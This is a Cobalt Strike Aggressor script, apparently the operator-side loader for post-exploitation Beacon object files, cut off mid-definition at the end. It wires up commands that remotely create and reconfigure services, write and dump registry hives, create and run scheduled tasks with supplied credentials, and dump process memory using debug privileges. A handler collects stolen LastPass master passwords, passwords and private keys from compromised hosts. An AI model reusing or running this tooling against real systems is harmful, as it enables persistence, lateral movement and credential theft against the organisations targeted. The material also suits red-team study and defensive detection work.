Files
2026-01-06 09:14:16 -06:00

2237 lines
67 KiB
Plaintext

########################################
# Enumerations
########################################
%reghives = %(
HKCR => 0,
HKCU => 1,
HKLM => 2,
HKU => 3
);
#sleep can't handle the actual values... so we'll just add them on the c side :(
%regtypes = %(
REG_SZ => 1,
REG_EXPAND_SZ => 2,
REG_BINARY => 3,
REG_DWORD => 4,
REG_MULTI_SZ => 7,
REG_QWORD => 11
);
%inttypes = %(
REG_DWORD => 1,
REG_QWORD => 1
);
%servicetypes = %(
1 => 0x02,
2 => 0x01,
3 => 0x10,
4 => 0x20
);
$id_lastpass = "LASTPASS>>";
########################################
# Helper functions
########################################
#readbof INPUTFILE
sub readbof
{
local('$barch $bof_filename $handle $data $args');
$barch = barch($1);
# read in the right BOF file
$bof_filename = script_resource("$2 $+ / $+ $2 $+ . $+ $barch $+ .o");
println("Loading $bof_filename");
$handle = openf($bof_filename);
$data = readb($handle, -1);
closef($handle);
if(strlen($data) == 0)
{
berror($1, "Could not read BOF file: $bof_filename");
}
btask($1, "Loaded $2 for $barch");
return $data;
}
#random_string
sub random_string
{
$limit = $1;
@random_str = @();
$characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
for ($x = 0; $x < $limit; $x++) {
$n = rand(strlen($characters));
add(@random_str, charAt($characters, $n));
}
return join('', @random_str);
};
# subrotine to parse options for script.
# Returns options as a hash
sub ops {
local('$count');
$count = 0;
%arguments = ohash();
foreach $arg ($1) {
if ($count > 0) {
if ($arg ismatch '/.*:.*') {
$arg = replace($arg, '\A/',"");
($key, $val) = split(":", $arg, 2);
%arguments[$key] = $val;
}
else if ($arg ismatch '/.*') {
$arg = replace($arg, '\A/',"");
%arguments[$arg] = "TRUE";
}
else {
%arguments["$count"] = $arg;
}
}
$count = $count + 1;
}
return (%arguments);
}
########################################
# Service Control functions
########################################
# sc_description [SVCNAME] [DESCRIPTION] [OPT:HOSTNAME]
alias sc_description
{
local('$hostname $servicename $args $desc');
if(size(@_) == 3)
{
$servicename = $2;
$desc = $3;
$hostname = $null;
}
else if (size(@_) == 4)
{
$servicename = $2;
$desc = $3;
$hostname = $4;
}
else
{
berror($1, beacon_command_detail("sc_description"));
return;
}
$args = bof_pack($1, "zzz", $hostname, $servicename, $desc);
beacon_inline_execute($1, readbof($1, "sc_description"), "go", $args);
}
beacon_command_register(
"sc_description",
"Sets the description of an existing service",
"
Command: sc_description
Summary: This command sets the description of an existing service on the target
host.
Usage: sc_description [SVCNAME] [DESCRIPTION] [OPT:HOSTNAME]
SVCNAME Required. The name of the service to create.
DESCRIPTION Required. The description of the service.
HOSTNAME Optional. The host to connect to and run the commnad on. The
local system is targeted if a HOSTNAME is not specified.
"
);
#sc_config [SVCNAME] [BINPATH] [ERRORMODE] [STARTMODE] [OPT:HOSTNAME]
sub bsc_config
{
local('$hostname $servicename $binpath $errormode $startmode $bid $args');
$bid = $1;
$servicename = $2;
$binpath = $3;
$errormode = $4;
$startmode = $5;
$hostname = $6;
try {
$junk = parseNumber($errormode, 10);
$junk = parseNumber($startmode, 10);
} catch $msg{
berror($bid, beacon_command_detail('sc_config'));
berror($bid, "either ignore or startmode is not a proper number");
return;
}
if (($errormode < 0) || ($errormode > 3))
{
berror($bid, beacon_command_detail('sc_config'));
berror($bid, "ignore is not a valid value");
return;
}
if (($startmode < 2) || ($startmode > 4))
{
berror($bid, beacon_command_detail('sc_config'));
berror($bid, "startmode is not a valid value");
return;
}
$args = bof_pack($bid, "zzzss", $hostname, $servicename, $binpath, $errormode, $startmode);
beacon_inline_execute($bid, readbof($1, "sc_config"), "go", $args);
}
#sc_config [SVCNAME] [BINPATH] [ERRORMODE] [STARTMODE] [OPT:HOSTNAME]
alias sc_config
{
local('$hostname $servicename $binpath $ignore $startmode $junk');
if (size(@_) == 5)
{
$servicename = $2;
$binpath = $3;
$ignore = $4;
$startmode = $5;
$hostname = $null;
}
else if(size(@_) == 6)
{
$servicename = $2;
$binpath = $3;
$ignore = $4;
$startmode = $5;
$hostname = $6;
}
else
{
berror($1, beacon_command_detail('sc_config'));
return;
}
bsc_config($1, $servicename, $binpath, $ignore, $startmode, $hostname);
}
beacon_command_register(
"sc_config",
"Configures an existing service",
"
Command: sc_config
Summary: This command configures an existing service on the target host.
Usage: sc_config [SVCNAME] [BINPATH] [ERRORMODE] [STARTMODE] [OPT:HOSTNAME]
SVCNAME Required. The name of the service to create.
BINPATH Required. The binary path of the service to execute.
ERRORMODE Required. The error mode of the service. The valid
options are:
0 - ignore errors
1 - normal logging
2 - log severe errors
3 - log critical errors
STARTMODE Required. The start mode for the service. The valid
options are:
2 - auto start
3 - on demand start
4 - disabled
HOSTNAME Optional. The host to connect to and run the commnad on. The
local system is targeted if a HOSTNAME is not specified.
"
);
#sc_failure [SVCNAME] [RESETPERIOD] [REBOOTMESSAGE] [COMMAND] [NUMACTIONS] [ACTIONS] [OPT:HOSTNAME]
sub bsc_failure
{
local('$hostname $servicename $resetperiod $rebootmessage $command $numactions $actions $bid $args');
$bid = $1;
$servicename = $2;
$resetperiod = $3;
$rebootmessage = $4;
$command = $5;
$numactions = $6;
$actions = $7;
$hostname = $8;
$args = bof_pack($bid, "zzizzsz", $hostname, $servicename, $resetperiod, $rebootmessage, $command, $numactions, $actions);
beacon_inline_execute($bid, readbof($1, "sc_failure"), "go", $args);
}
#sc_failure [SVCNAME] [RESETPERIOD] [REBOOTMESSAGE] [COMMAND] [NUMACTIONS] [ACTIONS] [OPT:HOSTNAME]
alias sc_failure
{
local('$hostname $servicename $resetperiod $rebootmessage $command $numactions $actions $junk');
if (size(@_) == 7)
{
$servicename = $2;
$resetperiod = $3;
$rebootmessage = $4;
$command = $5;
$numactions = $6;
$actions = $7;
$hostname = $null;
}
else if(size(@_) == 8)
{
$servicename = $2;
$resetperiod = $3;
$rebootmessage = $4;
$command = $5;
$numactions = $6;
$actions = $7;
$hostname = $8;
}
else
{
berror($1, beacon_command_detail('sc_failure'));
return;
}
bsc_failure($1, $servicename, $resetperiod, $rebootmessage, $command, $numactions, $actions, $hostname);
}
beacon_command_register(
"sc_failure",
"Changes the actions upon failure",
"
Command: sc_failure
Summary: This command configures the actions upon failure of an existing service on the target host.
Usage: sc_failure [SVCNAME] [RESETPERIOD] [REBOOTMESSAGE] [COMMAND] [NUMACTIONS] [ACTIONS] [OPT:HOSTNAME]
SVCNAME Required. The name of the service to create.
RESETPERIOD Required. Length of period of no failures (in seconds)
after which to reset the failure count to 0 (may be INFINITE)
(Must be used in conjunction with ACTIONS )
REBOOTMESSAGE Message broadcast before rebooting on failure. (NULL = \"\")
COMMAND Command line to be run on failure. (NULL = \"\")
NUMACTIONS How many actions to be configured -- e.g., 3/5000/2/800 is <2> actions
ACTIONS Failure actions and their delay time (in milliseconds),
separated by / (forward slash) -- e.g., 3/5000/2/800
Valid actions are:
0 - No action
1 - Restart the service
2 - Reboot the computer
3 - Run a command
(Must be used in conjunction with the RESETPERIOD option) (NULL = \"\")
HOSTNAME Optional. The host to connect to and run the commnad on. The
local system is targeted if a HOSTNAME is not specified.
"
);
sub bsc_create
{
local('$hostname $servicetype $servicename $binpath $errormode $startmode $junk $desc $displayname $bid $args');
$bid = $1;
$servicename = $2;
$displayname = $3;
$binpath = $4;
$desc = $5;
$errormode = $6;
$startmode = $7;
$servicetype = $8;
$hostname = $9;
try {
$junk = parseNumber($errormode, 10);
$junk = parseNumber($startmode, 10);
} catch $msg{
berror($bid, beacon_command_detail('sc_create'));
berror($bid, "either errormode or startmode is not a proper number");
return;
}
if (($errormode < 0) || ($errormode > 3))
{
berror($bid, beacon_command_detail('sc_create'));
berror($bid, "errormode is not a valid value");
return;
}
if (($startmode < 2) || ($startmode > 4))
{
berror($bid, beacon_command_detail('sc_create'));
berror($bid, "startmode is not a valid value");
return;
}
$args = bof_pack($bid, "zzzzzsss", $hostname, $servicename, $binpath, $displayname, $desc, $errormode, $startmode, $servicetype);
beacon_inline_execute($bid, readbof($bid, "sc_create"), "go", $args);
}
#sc_create [SVCNAME] [DISPLAYNAME] [BINPATH] [DESCRIPTION] [ERRORMODE] [STARTMODE] [OPT:TYPE] [OPT:HOSTNAME]
alias sc_create
{
local('$servicetype $hostname $servicename $binpath $ignore $startmode $junk $desc $displayname');
if (size(@_) == 7)
{
$servicename = $2;
$displayname = $3;
$binpath = $4;
$desc = $5;
$ignore = $6;
$startmode = $7;
$servicetype = %servicetypes[3];
$hostname = $null;
}
else if(size(@_) == 8)
{
$servicename = $2;
$displayname = $3;
$binpath = $4;
$desc = $5;
$ignore = $6;
$startmode = $7;
if ($8 in %servicetypes)
{
$servicetype = %servicetypes[$8];
}
else
{
berror($1, "invalid service type index");
return;
}
$hostname = $null;
}
else if(size(@_) == 9)
{
$servicename = $2;
$displayname = $3;
$binpath = $4;
$desc = $5;
$ignore = $6;
$startmode = $7;
if ($8 in %servicetypes)
{
$servicetype = %servicetypes[$8];
}
else
{
berror($1, "invalid service type index");
return;
}
$hostname = $9;
}
else
{
berror($1, beacon_command_detail('sc_create'));
return;
}
bsc_create($1, $servicename, $displayname, $binpath, $desc, $ignore, $startmode, $servicetype, $hostname);
}
beacon_command_register(
"sc_create",
"Creates a new service",
"
Command: sc_create
Summary: This command creates a service on the target host.
Usage: sc_create [SVCNAME] [DISPLAYNAME] [BINPATH] [DESCRIPTION] [ERRORMODE] [STARTMODE] [OPT:TYPE] [OPT:HOSTNAME]
SVCNAME Required. The name of the service to create.
DISPLAYNAME Required. The display name of the service.
BINPATH Required. The binary path of the service to execute.
DESCRIPTION Required. The description of the service.
ERRORMODE Required. The error mode of the service. The valid
options are:
0 - ignore errors
1 - nomral logging
2 - log severe errors
3 - log critical errors
STARTMODE Required. The start mode for the service. The valid
options are:
2 - auto start
3 - on demand start
4 - disabled
TYPE Optional. The type of service to create. The valid
options are:
1 - SERVICE_FILE_SYSTEM_DRIVER (File system driver service)
2 - SERVICE_KERNEL_DRIVER (Driver service)
3 - SERVICE_WIN32_OWN_PROCESS (Service that runs in its own process) <-- Default
4 - SERVICE_WIN32_SHARE_PROCESS (Service that shares a process with one or more other services)
HOSTNAME Optional. The host to connect to and run the commnad on. The
local system is targeted if a HOSTNAME is not specified.
"
);
#sc_delete [SVCNAME] [OPT:HOSTNAME]
alias sc_delete
{
local('$hostname $servicename $args');
if(size(@_) == 2)
{
$servicename = $2;
$hostname = $null;
}
else if (size(@_) == 3)
{
$servicename = $2;
$hostname = $3;
}
else
{
berror($1, beacon_command_detail("sc_delete"));
return;
}
$args = bof_pack($1, "zz", $hostname, $servicename);
beacon_inline_execute($1, readbof($1, "sc_delete"), "go", $args);
}
beacon_command_register(
"sc_delete",
"Deletes a service",
"
Command: sc_delete
Summary: This command deletes the specified service on the target host.
Usage: sc_delete [SVCNAME] [OPT:HOSTNAME]
SVCNAME Required. The name of the service to delete.
HOSTNAME Optional. The host to connect to and run the commnad on. The
local system is targeted if a HOSTNAME is not specified.
"
);
sub bsc_stop
{
local('$hostname $servicename $args $bid');
$bid = $1;
$servicename = $2;
$hostname = $3;
$args = bof_pack($1, "zz", $hostname, $servicename);
beacon_inline_execute($1, readbof($1, "sc_stop"), "go", $args);
}
#sc_stop [SVCNAME] [OPT:HOSTNAME]
alias sc_stop
{
local('$hostname $servicename $args');
if(size(@_) == 2)
{
$servicename = $2;
$hostname = $null;
}
else if (size(@_) == 3)
{
$servicename = $2;
$hostname = $3;
}
else
{
berror($1, beacon_command_detail("sc_stop"));
return;
}
bsc_stop($1, $servicename, $hostname);
}
beacon_command_register(
"sc_stop",
"Stops a service",
"
Command: sc_stop
Summary: This command stops the specified service on the target host.
Usage: sc_stop [SVCNAME] [OPT:HOSTNAME]
SVCNAME Required. The name of the service to stop.
HOSTNAME Optional. The host to connect to and run the commnad on. The
local system is targeted if a HOSTNAME is not specified.
"
);
sub bsc_start
{
local('$bid $hostname $servicename $args');
$bid = $1;
$servicename = $2;
$hostname = $3;
$args = bof_pack($bid, "zz", $hostname, $servicename);
beacon_inline_execute($bid, readbof($bid, "sc_start"), "go", $args);
}
#sc_start [SVCNAME] [OPT:HOSTNAME]
alias sc_start
{
local('$hostname $servicename $args');
if(size(@_) == 2)
{
$servicename = $2;
$hostname = $null;
}
else if (size(@_) == 3)
{
$servicename = $2;
$hostname = $3;
}
else
{
berror($1, beacon_command_detail("sc_start"));
return;
}
$args = bof_pack($1, "zz", $hostname, $servicename);
beacon_inline_execute($1, readbof($1, "sc_start"), "go", $args);
}
beacon_command_register(
"sc_start",
"Starts a service",
"
Command: sc_start
Summary: This command starts the specified service on the target host.
Usage: sc_start [SVCNAME] [OPT:HOSTNAME]
SVCNAME Required. The name of the service to start.
HOSTNAME Optional. The host to connect to and run the command on. The
local system is targeted if a HOSTNAME is not specified.
"
);
on beacon_output
{
local('$beacon $message $id $output $parsed_return_file @cmd $ret $lp_files $parser $returned_len $returned_len $fp');
$beacon = $1;
$message = $2;
if (strlen($message) > 26) {
$message = substr($message, 17);
$id = left($message, 10);
if ($id eq $id_lastpass){
@pid = unpack("I",substr($message,0xc,0x10));
@type_int = unpack("I",substr($message, 0x10, 0x14));
@buf_sz = unpack("I",substr($message, 0x14, 0x18));
$type = "";
if (@type_int[0] == 0){
$type = "JSON";
}else if (@type_int[0] == 1){
$type = "PWD_MEM_OBJECT";
}else if (@type_int[0] == 2){
$type = "AID";
}else if (@type_int[0] == 3){
$type = "NAME";
}else if (@type_int[0] == 4){
$type = "USERNAME";
}else if (@type_int[0] == 5){
$type = "PASSWORD";
}else if (@type_int[0] == 6){
$type = "G_LOCAL_KEY";
}else if (@type_int[0] == 7){
$type = "LOCAL_KEY";
}else if (@type_int[0] == 8){
$type = "MASTER_PASSWORD";
}else if (@type_int[0] == 9){
$type = "USER_CONFIG";
}else if (@type_int[0] == 10){
$type = "PRIV_KEY";
}
if (@type_int[0] == 100)
{
$parser = script_resource("lastpass/process_lp_files.py");
$lp_files = script_resource("lastpass");
$parsed_return_file = script_resource("lastpass/out.txt");
@cmd = @("python3",$parser, $lp_files);
$ret = exec( @cmd );
sleep(1 * 1000);
blog($beacon, "exec ret: ". readAll($ret). "\n");
if(-exists $parsed_return_file) {
$returned_len = lof($parsed_return_file);
$fp = openf($parsed_return_file);
$output = readb($fp, $returned_len);
closef($fp);
deleteFile($parsed_return_file);
blog($beacon, "LastPass return value: \n" . $output);
}else{
println("Exec failed");
blog($beacon, "Exec failed");
}
} else {
$lp_filename = script_resource("lastpass/lp_".@pid[0]."_".$type.".txt");
$handle = openf(">>".$lp_filename);
print($handle, "<MSG>");
print($handle, substr($message,0x18));
println($handle, "</MSG>");
closef($handle);
}
}
}
}
########################################
# Registry commands
########################################
#yeah I'm not dealing with this one (sub vs alias)
sub breg_set
{
local('$hostname $hive $path $key $type $i $value $packstr $regstr $buffer $fp');
$packstr = "zizzi";
if(size(@_) < 5)
{
berror($1, beacon_command_detail("reg_set"));
return;
}
else
{
if($2 in %reghives)
{
#targeting local system
$hostname = $null;
$i = 1;
}
else{
$hostname = "\\\\" . $2;
$i = 2;
}
if (@_[$i] in %reghives)
{
$hive = %reghives[@_[$i]];
$i++;
}
else
{
berror($1, beacon_command_detail("reg_set"));
berror($1, "Provided registry hive value is invalid");
return;
}
$path = @_[$i];
$i++;
$key = @_[$i];
$i++;
if( @_[$i] in %regtypes)
{
$regstr = @_[$i];
$type = %regtypes[@_[$i]];
$i++;
if ($regstr in %inttypes)
{
$packstr = $packstr . "b";
$value = pack("I-", @_[$i]);
}
else if ($regstr eq "REG_MULTI_SZ")
{
$packstr = $packstr . "b";
$buffer = allocate(0);
for (; $i < size(@_); $i++)
{
bwrite($buffer, "z", @_[$i]);
}
bwrite($buffer, "z", ""); # null terminator at end
closef($buffer);
$value = readb($buffer, -1);
}
else if ($regstr eq "REG_EXPAND_SZ" || $regstr eq "REG_SZ")
{
$packstr = $packstr . "z";
$value = @_[$i];
}
else if ($regstr eq "REG_BINARY")
{
if (!-canread @_[$i])
{
berror($1, "File " . @_[$i] . " Could not be found");
return;
}
$fp = openf(@_[$i]);
$value = readb($fp, -1);
$packstr = $packstr . "b";
closef($fp);
}
}
else
{
berror($1, beacon_command_detail("reg_set"));
berror($1, "Provided registry type value is invalid");
return;
}
$args = bof_pack($1, $packstr, $hostname, $hive, $path, $key, $type, $value);
beacon_inline_execute($1, readbof($1, "reg_set"), "go", $args);
}
}
#reg_set reg_set [OPT:HOSTNAME] [HIVE] [KEY] [VALUE] [TYPE] [DATA]
alias reg_set
{
# I need hostname Hive, path, key type value(s)
# test if val in pos 1 is in Hive, if not, then assume it is a hostname
# values at end, if multisz pack them using a variable bof string
local('$hostname $hive $path $key $type $i $value $packstr $regstr $buffer $fp');
$packstr = "zizzi";
if(size(@_) < 5)
{
berror($1, beacon_command_detail("reg_set"));
return;
}
else
{
if($2 in %reghives)
{
#targeting local system
$hostname = $null;
$i = 1;
}
else{
$hostname = "\\\\" . $2;
$i = 2;
}
if (@_[$i] in %reghives)
{
$hive = %reghives[@_[$i]];
$i++;
}
else
{
berror($1, beacon_command_detail("reg_set"));
berror($1, "Provided registry hive value is invalid");
return;
}
$path = @_[$i];
$i++;
$key = @_[$i];
$i++;
if( @_[$i] in %regtypes)
{
$regstr = @_[$i];
$type = %regtypes[@_[$i]];
$i++;
if ($regstr in %inttypes)
{
$packstr = $packstr . "b";
$value = pack("I-", @_[$i]);
}
else if ($regstr eq "REG_MULTI_SZ")
{
$packstr = $packstr . "b";
$buffer = allocate(0);
for (; $i < size(@_); $i++)
{
bwrite($buffer, "z", @_[$i]);
}
bwrite($buffer, "z", ""); # null terminator at end
closef($buffer);
$value = readb($buffer, -1);
}
else if ($regstr eq "REG_EXPAND_SZ" || $regstr eq "REG_SZ")
{
$packstr = $packstr . "z";
$value = @_[$i];
}
else if ($regstr eq "REG_BINARY")
{
if (!-canread @_[$i])
{
berror($1, "File " . @_[$i] . " Could not be found");
return;
}
$fp = openf(@_[$i]);
$value = readb($fp, -1);
$packstr = $packstr . "b";
closef($fp);
}
}
else
{
berror($1, beacon_command_detail("reg_set"));
berror($1, "Provided registry type value is invalid");
return;
}
$args = bof_pack($1, $packstr, $hostname, $hive, $path, $key, $type, $value);
beacon_inline_execute($1, readbof($1, "reg_set"), "go", $args);
}
}
beacon_command_register(
"reg_set",
"Creates or sets a registry key or value",
"
Command: reg_set
Summary: This command creates or sets the specified registry key (or value) on
the target host.
Usage: reg_set reg_set [OPT:HOSTNAME] [HIVE] [KEY] [VALUE] [TYPE] [DATA]
HOSTNAME Optional. The host to connect to and run the commnad on.
HIVE Required. The registry hive containing the REGPATH. Possible
values:
HKLM
HKCU
HKU
HKCR
KEY Required. The registry path.
VALUE Required. The value name. If you want to create/set the
default key, use \"\".
TYPE Required. The type of registry value to create/set. The valid
options are:
REG_SZ
REG_EXPAND_SZ
REG_BINARY
REG_DWORD
REG_MULTI_SZ
REG_QWORD
DATA Required. The data to store in the registry value.
Note: For REG_BINARY, the VALUE must be the name of a file on disk which will
read in and its contents used.
Note: For REG_MULTI_SZ, the VALUE must be specified as a space separated list
of quoted strings.
Note: For REG_QWORD, the VALUE must be less than a DWORD (due to limitation of
sleep language).
"
);
#reg_delete [OPT:HOSTNAME] [HIVE] [REGPATH] [OPT:REGVALUE]
alias reg_delete
{
# I need hostname Hive, path, key type value(s)
# test if val in pos 1 is in Hive, if not, then assume it is a hostname
# values at end, if multisz pack them using a variable bof string
local('$hostname $hive $path $key $i $delkey');
if(size(@_) < 3)
{
berror($1, beacon_command_detail("reg_delete"));
return;
}
else
{
if($2 in %reghives)
{
#targeting local system
$hostname = $null;
$i = 1;
}
else
{
$hostname = "\\\\" . $2;
$i = 2;
}
if (@_[$i] in %reghives)
{
$hive = %reghives[@_[$i]];
$i++;
}
else
{
berror($1, beacon_command_detail("reg_delete"));
berror($1, "Provided registry hive value is invalid");
return;
}
$path = @_[$i];
$i++;
if($i < size(@_))
{
$delkey = 0;
$key = @_[$i];
println("set subkey value to delete to $key");
}
else
{
$delkey = 1;
$key = "";
}
$args = bof_pack($1, "zizzi", $hostname, $hive, $path, $key, $delkey);
beacon_inline_execute($1, readbof($1, "reg_delete"), "go", $args);
}
}
beacon_command_register(
"reg_delete",
"Deletes the registry key or value",
"
Command: reg_delete
Summary: This command deletes the specified registry key (or value) on the
target host.
Usage: reg_delete [OPT:HOSTNAME] [HIVE] [REGPATH] [OPT:REGVALUE]
HOSTNAME Optional. The host to connect to and run the commnad on.
HIVE Required. The registry hive containing the REGPATH. Possible
values:
HKLM
HKCU
HKU
HKCR
REGPATH Required. The registry path (deleted if value not given).
REGVALUE Optional. The registry value to delete. If the value is not
specified, then the whole key is deleted. If you want to
delete the default key, use \"\" as the REGVALUE.
"
);
#reg_save [HIVE] [REGPATH] [FILEOUT]
alias reg_save
{
if(size(@_) != 4)
{
berror($1, beacon_command_detail("reg_save"));
return;
}
else
{
breg_save($1, $2, $3, $4);
}
}
sub breg_save
{
local('$hive $regpath $output $i');
$hive = %reghives[$2];
$regpath = $3;
$output = $4;
blog($1, "Requesting to backup privileges");
bgetprivs($1, "SeBackupPrivilege");
blog($1, "Attempting to save registry key $2\\$regpath to location $output");
$args = bof_pack($1, "zzi", $regpath, $output, $hive);
beacon_inline_execute($1, readbof($1, "reg_save"), "go", $args);
}
beacon_command_register(
"reg_save",
"Saves the registry path and all subkeys to disk",
"
Command: reg_save
Summary: This command saves the specified registry path (and all subkeys) to a
file on the target system.
Usage: reg_save [HIVE] [REGPATH] [FILEOUT]
HIVE Required. The registry hive containing the REGPATH. Possible
values:
HKLM
HKCU
HKU
HKCR
REGPATH Required. The registry path to save.
FILEOUT Required. The output file.
Note: The FILEOUT is saved to disk on target, so don't forget to clean up.
"
);
########################################
# Schedule Task functions
########################################
#schtaskscreate [OPT:HOSTNAME] [USERNAME] [PASSWORD] [TASKPATH] [USERMODE] [FORCEMODE]
alias schtaskscreate
{
local('$server $taskpath $username $password $taskxml $dialog $fpath $fp $bid $fdata $mode $index $force $args');
$bid = $1;
$server = "";
$fp = $null;
if(size(@_) == 6)
{
$username = $2;
$password = $3;
$taskpath = $4;
$mode = $5;
}
else if(size(@_) == 7)
{
$server = $2;
$username = $3;
$password = $4;
$taskpath = $5;
$mode = $6;
}
else
{
berror($bid, beacon_command_detail("schtaskscreate"));
berror($bid, "Inavlid usage");
return;
}
if($mode eq "USER")
{
$mode = 0;
}
else if($mode eq "SYSTEM")
{
$mode = 1;
}
else if ($mode eq "XML")
{
$mode = 2;
}
else if ($mode eq "PASSWORD")
{
$mode = 3;
}
else
{
berror($bid, beacon_command_detail("schtaskscreate"));
berror($bid, "Must provide USER, SYSTEM, or XML (case sensitive)");
return;
}
if(@_[size(@_) -1] eq "UPDATE")
{
$force = 1;
}
else if (@_[size(@_) -1] eq "CREATE")
{
$force = 0;
}
else
{
berror($1, beacon_command_detail("schtaskscreate"));
berror($1, "Must provide CREATE or UPDATE (case sensitive)");
return;
}
prompt_file_open("Please select the xml task definition", $null, false, $this);
yield;
$fpath = $1;
if(!-canread $fpath)
{
berror($bid, "Unable to read the xml task definition file: $fpath");
return;
}
$fp = openf($fpath);
$fdata = readb($fp, -1);
closef($fp);
$args = bof_pack($bid, "ZZZZZii", $server,$username,$password, $taskpath, $fdata, $mode, $force);
beacon_inline_execute($bid, readbof($bid, "schtaskscreate"), "go", $args);
}
beacon_command_register(
"schtaskscreate",
"Creates a new scheduled task",
"
Command: schtaskscreate
Summary: This command attempts to create or update a scheduled task given an
XML task definition.
Usage: schtaskscreate [OPT:HOSTNAME] [USERNAME] [PASSWORD] [TASKPATH] [USERMODE] [FORCEMODE]
HOSTNAME Optional. The system on which to create the task.
USERNAME Required. The username that the task will run as. If current user is same as desired context, pass \"\" (empty quotes)
PASSWORD Required. The password for the user that the task will run as. If current user is same as desired context, pass \"\" (empty quotes)
TASKPATH Required. The path for the created task.
USERMODE Required. The username to associate with the task. The valid
options are (case sensitive):
USER uses the current user
XML uses the principal user from the task XML
SYSTEM uses the Local System service
PASSWORD uses the credentials passed
FORCEMODE Required. Creation disposition. The options are (case
sensitive):
CREATE fail if the task already exists
UPDATE update an exiting task
Note: Please see https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-schema-elements
for the base xml definitions. More formed examples start here
https://docs.microsoft.com/en-us/windows/win32/taskschd/time-trigger-example--xml-
"
);
#schtasksdelete [OPT:HOSTNAME] [TASKNAME] [TYPE]
alias schtasksdelete
{
local('$bid $args $server $taskname $isfolder');
$bid = $1;
$server = "";
if ( size(@_) < 3)
{
berror($bid, "Invalid Usage");
berror($bid, beacon_command_detail("schtasksdelete"));
return;
}
else if(size(@_) == 3)
{
$taskname = $2;
}
else if(size(@_) == 4)
{
$server = $2;
$taskname = $3;
}
else
{
berror($bid, "Invalid Usage");
berror($bid, beacon_command_detail("schtasksdelete"));
return;
}
if(@_[size(@_) -1] eq "TASK")
{
$isfolder = 0;
}
else if (@_[size(@_) -1] eq "FOLDER")
{
$isfolder = 1;
}
else
{
berror($bid, beacon_command_detail("schtasksdelete"));
berror($bid, "Must provide TASK or FOLDER (case sensitive)");
return;
}
$args = bof_pack($bid, "ZZi", $server, $taskname, $isfolder);
beacon_inline_execute($bid, readbof($bid, "schtasksdelete"), "go", $args);
}
beacon_command_register(
"schtasksdelete",
"Deletes the specified scheduled task or folder",
"
Command: schtasksdelete
Summary: This command deletes a scheduled task or folder.
Usage: schtasksdelete [OPT:HOSTNAME] [TASKNAME] [TYPE]
HOSTNAME Optional. The target system (local system if not specified)
TASKNAME Required. The task or folder name.
TYPE Required. The type of target to delete. Valid options are:
FOLDER
TASK
Note: If you are deleting a folder, it must be empty.
If you are deleting a task, the full path including the task name must
be given, e.g.:
schtasksdelete \\Microsoft\\Windows\\MUI\\LpRemove TASK
schtasksdelete \\some\\random\\task\\folder FOLDER
"
);
#schtasksstop [OPT:HOSTNAME] [TASKNAME]
alias schtasksstop
{
local('$bid $args $server $taskname');
$bid = $1;
$server = "";
if ( size(@_) < 2)
{
berror($bid, "Invalid Usage");
berror($bid, beacon_command_detail("schtasksstop"));
return;
} else if(size(@_) == 2)
{
$taskname = $2;
} else if(size(@_) == 3)
{
$server = $2;
$taskname = $3;
} else
{
berror($bid, "Invalid Usage");
berror($bid, beacon_command_detail("schtasksstop"));
return;
}
$args = bof_pack($bid, "ZZ", $server, $taskname);
beacon_inline_execute($bid, readbof($bid, "schtasksstop"), "go", $args);
}
beacon_command_register(
"schtasksstop",
"Stops the specified scheduled task",
"
Command: schtasksstop
Summary: This command stops a scheduled task.
Usage: schtasksstop [OPT:HOSTNAME] [TASKNAME]
HOSTNAME Optional. The target system (local system if not specified)
TASKNAME Required. The scheduled task name.
Note: The full path including the task name must be given, e.g.:
schtasksstop \\Microsoft\\Windows\\MUI\\LpRemove
schtasksstop \\Microsoft\\windows\\MUI\\totallyreal
"
);
#schtasksrun [OPT:HOSTNAME] [TASKNAME]
alias schtasksrun
{
local('$bid $args $server $taskname');
$bid = $1;
$server = "";
if ( size(@_) < 2)
{
berror($bid, "Invalid Usage");
berror($bid, beacon_command_detail("schtasksrun"));
return;
} else if(size(@_) == 2)
{
$taskname = $2;
} else if(size(@_) == 3)
{
$server = $2;
$taskname = $3;
} else
{
berror($bid, "Invalid Usage");
berror($bid, beacon_command_detail("schtasksrun"));
return;
}
$args = bof_pack($bid, "ZZ", $server, $taskname);
beacon_inline_execute($bid, readbof($bid, "schtasksrun"), "go", $args);
}
beacon_command_register(
"schtasksrun",
"Run the specified scheduled task",
"
Command: schtasksrun
Summary: This command runs a scheduled task.
Usage: schtasksrun [OPT:HOSTNAME] [TASKNAME]
HOSTNAME Optional. The target system (local system if not specified)
TASKNAME Required. The scheduled task name.
Note: The full path including the task name must be given, e.g.:
schtasksstop \\Microsoft\\Windows\\MUI\\LpRemove
schtasksstop \\Microsoft\\windows\\MUI\\totallyreal
"
);
########################################
# Process functions
########################################
#procdump [PID] [FILEOUT]
alias procdump
{
local('$args $pid $target');
if (size(@_) != 3)
{
berror($1, beacon_command_detail("procdump"));
berror($1, "Invalid number of arguments");
return;
}
blog($1, "Requesting to enable debug privs");
bgetprivs($1, "SeDebugPrivilege");
blog($1, "Attempting to dump pid $2 to location $3");
$args = bof_pack($1, "iZ", $2, $3);
beacon_inline_execute($1, readbof($1, "procdump"), "go", $args);
}
beacon_command_register(
"procdump",
"Dumps the specified process to the specified output file",
"
Command: procdump
Summary: This command attempts to dump a process using MiniDumpWriteDump. It
writes the output to the file location specified.
Usage: procdump [PID] [FILEOUT]
PID Required. The process to dump.
FILEOUT Required. The output path to write the dump to. Remember to
delete this file.
Warning: This command may very well get caught, but is here as an option regardless.
"
);
#ProcessListHandles [PID]
alias ProcessListHandles
{
if(size(@_) != 2)
{
berror($1, "Invalid number of arguments");
berror($1, beacon_command_detail("ProcessListHandles"));
return;
}
beacon_inline_execute($1, readbof($1, "ProcessListHandles"), "go", bof_pack($1, "i", $2));
}
beacon_command_register(
"ProcessListHandles",
"Lists open handles in process",
"
Command: ProcessListHandles
Summary: Lists all open handles in a specified process.
Usage: ProcessListHandles [PID]
PID Required. The process to list the handles of. You must have
permission to open the specified process.
"
);
#ProcessDestroy [PID] [OPT:HANDLEID]
alias ProcessDestroy
{
local('$handle');
if(size(@_) < 2)
{
berror($1, "Invalid number of arguments");
berror($1, beacon_command_detail("ProcessDestroy"));
return;
}
$handle = iff(-istrue $3, $3, 0);
if($handle < 0 || $handle > 65535)
{
berror($1, "Invalid HANDLEID");
berror($1, beacon_command_detail("ProcessDestroy"));
return;
}
beacon_inline_execute($1, readbof($1, "ProcessDestroy"), "go", bof_pack($1, "ii", $2, $handle));
}
beacon_command_register(
